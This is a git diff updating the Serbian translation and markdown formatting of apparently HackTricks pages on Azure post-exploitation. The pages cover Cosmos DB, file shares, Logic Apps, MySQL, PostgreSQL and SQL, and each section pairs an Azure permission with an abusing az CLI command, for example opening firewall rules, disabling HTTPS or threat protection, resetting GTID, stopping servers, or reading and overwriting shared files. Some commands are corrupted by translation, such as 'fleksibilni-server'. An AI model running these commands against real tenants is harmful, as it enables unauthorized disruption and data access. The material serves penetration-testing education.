baze podataka. Ova akcija određuje redosled u kojem regioni postaju primarni tokom događaja oporavka. Nepravilna upotreba ove dozvole može ometati visoku dostupnost baze podataka ili dovesti do nepredviđenih operativnih posledica. ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` Sa ovom dozvolom, možete regenerisati primarne ili sekundarne ključeve za Azure Cosmos DB nalog. Ovo se obično koristi za poboljšanje bezbednosti zamenom starih ključeva, ali može ometati pristup uslugama ili aplikacijama koje se oslanjaju na trenutne ključeve. - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na strani servera kao odgovor na operacije. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` Sa ovom dozvolom, možete kreirati ili modifikovati skladišne procedure unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Skladišne procedure u Cosmos DB su JavaScript funkcije na serverskoj strani koje vam omogućavaju da enkapsulirate logiku za obradu podataka ili izvršavanje operacija direktno unutar baze podataka. - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" -Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na serveru kao odgovor na operacije poput umetanja, ažuriranja ili brisanja. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` +Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na strani servera kao odgovor na operacije poput umetanja, ažuriranja ili brisanja. ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` Sa ovom dozvolom, možete kreirati ili modifikovati kolekcije unutar MongoDB baza podataka u Azure Cosmos DB nalogu. Kolekcije se koriste za čuvanje dokumenata i definišu strukturu i particionisanje podataka. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` Sa ovom dozvolom, možete kreirati nove MongoDB baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava kreiranje novih baza podataka za skladištenje i upravljanje kolekcijama i dokumentima. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` Sa ovom dozvolom, možete kreirati nove MongoDB definicije uloga unutar Azure Cosmos DB naloga. Ovo omogućava definisanje prilagođenih uloga sa specifičnim dozvolama za MongoDB korisnike. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` Sa ovom dozvolom, možete kreirati nove definicije MongoDB korisnika unutar Azure Cosmos DB naloga. Ovo omogućava dodeljivanje korisnika sa specifičnim ulogama i nivoima pristupa MongoDB bazama podataka. -{% code overflow="wrap" %} ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index a7b05934a..4a9df1b6f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -File Share Post Exploitation +Post Eksploatacija Deljenja Fajlova Za više informacija o deljenju fajlova pogledajte: @@ -10,7 +10,7 @@ Za više informacija o deljenju fajlova pogledajte: ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` Principal sa ovom dozvolom će moći da **prikazuje** fajlove unutar deljenja fajlova i **preuzima** fajlove koji mogu sadržati **osetljive informacije**. ```bash @@ -28,9 +28,9 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` -Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u deljenim datotekama** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda smeštenog u deljenoj datoteci): +Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u deljenim datotekama** što bi moglo omogućiti da izazove neku štetu ili čak eskalira privilegije (npr. prepisivanje nekog koda smeštenog u deljenoj datoteci): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index 3243a31a8..af77b848c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -5,14 +5,12 @@ ## Logic Apps Database Post Exploitation Za više informacija o logic apps, proverite: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Sa ovim dozvolama, možete modifikovati Logic App radne tokove i upravljati njihovim identitetima. Konkretno, možete dodeliti ili ukloniti sistemski dodeljene i korisnički dodeljene upravljane identitete radnim tokovima, što omogućava Logic App-u da se autentifikuje i pristupi drugim Azure resursima bez eksplicitnih kredencijala. - -{% code overflow="wrap" %} ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" -Sa ovim dozvolama, možete kreirati ili ažurirati Logic Apps hostovane na App Service Plan-u. To uključuje modifikovanje podešavanja kao što su omogućavanje ili onemogućavanje HTTPS primene. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` +Sa ovim dozvolama, možete kreirati ili ažurirati Logic Apps hostovane na App Service Plan-u. To uključuje modifikovanje podešavanja kao što su omogućavanje ili onemogućavanje primene HTTPS-a. ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" -Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti nepredviđene operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps-a iznenada. - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` +Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti neplanirane operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps iznenada. ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} - - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` Sa ovom dozvolom, možete konfigurisati ili modifikovati postavke za web aplikacije, uključujući Logic Apps hostovane na App Service Plan-u. Ovo omogućava promene u postavkama aplikacije, konekcionim stringovima, konfiguracijama autentifikacije i još mnogo toga. - -{% code overflow="wrap" %} ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" +### `Microsoft.Logic/integrationAccounts/write` Sa ovom dozvolom, možete kreirati, ažurirati ili brisati Azure Logic Apps integracione naloge. To uključuje upravljanje konfiguracijama na nivou integracionog naloga kao što su mape, sheme, partneri, sporazumi i još mnogo toga. - -{% code overflow="wrap" %} ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` Sa ovom dozvolom, možete kreirati ili modifikovati batch konfiguracije unutar Azure Logic Apps integracionog naloga. Batch konfiguracije definišu kako Logic Apps obrađuju i grupišu dolazne poruke za batch obradu. - -{% code overflow="wrap" %} ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` Sa ovom dozvolom, možete kreirati ili modifikovati mape unutar Azure Logic Apps integracionog naloga. Mape se koriste za transformaciju podataka iz jednog formata u drugi, omogućavajući besprekornu integraciju između različitih sistema i aplikacija. - -{% code overflow="wrap" %} ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" -Sa ovom dozvolom, možete kreirati ili modifikovati partnere u Azure Logic Apps integracionom nalogu. Partneri predstavljaju entitete ili sisteme koji učestvuju u poslovnim tokovima (B2B). - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` +Sa ovom dozvolom, možete kreirati ili modifikovati partnere u Azure Logic Apps integracionom nalogu. Partneri predstavljaju entitete ili sisteme koji učestvuju u poslovnim tokovima između preduzeća (B2B). ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` Sa ovom dozvolom, možete kreirati ili modifikovati sesije unutar Azure Logic Apps integracionog naloga. Sesije se koriste u B2B radnim tokovima za grupisanje poruka i praćenje povezanih transakcija tokom definisanog perioda. - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,9 +112,9 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" Sa ovim dozvolama možete obrisati resurse povezane sa Azure Logic Apps + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 8cd1da89f..250b1258f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -5,54 +5,40 @@ ## MySQL Database Post Exploitation Za više informacija o MySQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` -Sa ovom dozvolom možete kreirati nove baze podataka unutar MySQL Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete kreirati nove baze podataka unutar MySQL Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/backups/write" +### `Microsoft.DBforMySQL/flexibleServers/backups/write` Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za MySQL Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu. - -{% code overflow="wrap" %} ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za MySQL Flexible Server instancu na Azure-u. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje. - -{% code overflow="wrap" %} ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` Sa ovom dozvolom, možete kreirati ili modifikovati pravila vatrozida za MySQL Flexible Server instancu na Azure-u. Ovo omogućava kontrolu nad tim koje IP adrese ili opsezi mogu pristupiti serveru. Neovlašćena ili nepravilna upotreba ove dozvole može izložiti server neželjenom ili zlonamernom pristupu. - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -Sa ovom dozvolom, možete resetovati GTID (Global Transaction Identifier) za MySQL Flexible Server instancu na Azure-u. Resetovanje GTID-a će poništiti sve automatske, na zahtev napravljene rezervne kopije i geo-rezervne kopije koje su napravljene pre akcije resetovanja. Nakon resetovanja GTID-a, nećete moći da izvršite PITR (point-in-time-restore) koristeći najbržu tačku vraćanja ili po prilagođenoj tački vraćanja ako je odabrano vreme vraćanja pre vremena resetovanja GTID-a. A uspešno geo-vraćanje biće moguće tek nakon 5 dana. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete resetovati GTID (Global Transaction Identifier) za MySQL Flexible Server instancu na Azure-u. Resetovanje GTID-a će poništiti sve automatske, na zahtev napravljene rezervne kopije i geo-rezervne kopije koje su napravljene pre akcije resetovanja. Nakon resetovanja GTID-a, nećete moći da izvršite PITR (point-in-time-restore) koristeći najbržu tačku vraćanja ili po prilagođenoj tački vraćanja ako je odabrano vreme vraćanja pre vremena resetovanja GTID-a. A uspešno geo-vraćanje će biti moguće samo nakon 5 dana. ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` Sa ovom dozvolom, možete ažurirati konfiguracione postavke MySQL Flexible Server instance na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. Možete ažurirati sledeće parametre zajedno u seriji: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, i max_connections. - -{% code overflow="wrap" %} ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Sa ovom dozvolom, možete dodeliti identitet koji je dodeljen korisniku za MySQL fleksibilne servere. - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/stop/action" +### `Microsoft.DBforMySQL/flexibleServers/stop/action` Sa ovom dozvolom, možete zaustaviti PostgreSQL Flexible Server instancu na Azure-u. Zaustavljanje servera može dovesti do privremenog prekida usluge, što utiče na aplikacije i korisnike koji zavise od baze podataka. - -{% code overflow="wrap" %} ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql fleksibilni-server start \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index d6f2256d0..5c39db663 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -2,57 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## PostgreSQL Baza Podataka Post Eksploatacija +## PostgreSQL Database Post Exploitation Za više informacija o PostgreSQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Sa ovom dozvolom, možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. - -{% code overflow="wrap" %} +Sa ovom dozvolom možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" - -Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim vremenskim tačkama. ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" - -Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za Postgres Flexible Server instancu na Azure-u. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za Postgres Flexible Server instancu na Azure. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje. ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` Sa ovom dozvolom, možete kreirati ili modifikovati pravila vatrozida za Postgres Flexible Server instancu na Azure-u. Ovo omogućava kontrolu nad tim koje IP adrese ili opsezi mogu pristupiti serveru. Neovlašćena ili nepravilna upotreba ove dozvole može izložiti server neželjenom ili zlonamernom pristupu. - -{% code overflow="wrap" %} ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" - -Sa ovom dozvolom, možete ažurirati konfiguracione postavke Postgres Flexible Server instance na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete ažurirati postavke konfiguracije instance Postgres Flexible Server na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` Sa ovom dozvolom, možete zaustaviti PostgreSQL Flexible Server instancu na Azure-u. Zaustavljanje servera može dovesti do privremenog prekida usluge, što utiče na aplikacije i korisnike koji zavise od baze podataka. - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres fleksibilni-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 51ffe96cf..a4db009c3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,9 +10,9 @@ Za više informacija o SQL bazi podataka pogledajte: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` -Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. +Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova aktivnost nakon eksploatacije može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. ```bash # Create Database az sql db create --resource-group --server --name @@ -20,9 +20,9 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` -Sa ovim dozvolama, napadač može 